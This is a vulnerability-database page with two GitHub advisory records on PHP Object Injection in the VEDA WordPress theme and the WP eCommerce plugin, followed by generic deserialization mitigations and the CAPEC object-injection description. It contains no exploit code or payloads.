The VEDA - MultiPurpose WordPress Theme theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.2 via deserialization of untrusted input in the 'veda_backup_and_restore_action' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-05T10:15:16Z",
    "severity": "CRITICAL"
  },
  "details": "The VEDA - MultiPurpose WordPress Theme theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.2 via deserialization of untrusted input in the \u0027veda_backup_and_restore_action\u0027 function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.",
  "id": "GHSA-m967-245f-hfcw",
  "modified": "2025-03-05T12:31:10Z",
  "published": "2025-03-05T12:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13787"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/veda-multipurpose-theme/15860489"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d0966138-b28b-4c03-a2cf-b51c5f478276?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M9FF-H6C5-VGHQ

Vulnerability from github – Published: 2026-02-11 06:30 – Updated: 2026-02-11 18:31
VLAI
Details

The WP eCommerce WordPress plugin through 3.15.1 unserializes user input via ajax actions, which could allow unauthenticated users to perform PHP Object Injection when a suitable gadget is present on the blog.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T06:15:51Z",
    "severity": "MODERATE"
  },
  "details": "The WP eCommerce WordPress plugin through 3.15.1 unserializes user input via ajax actions, which could allow unauthenticated users to perform PHP Object Injection when a suitable gadget is present on the blog.",
  "id": "GHSA-m9ff-h6c5-vghq",
  "modified": "2026-02-11T18:31:28Z",
  "published": "2026-02-11T06:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1235"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/c7eb234e-3113-40db-a00d-358604d91e3f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.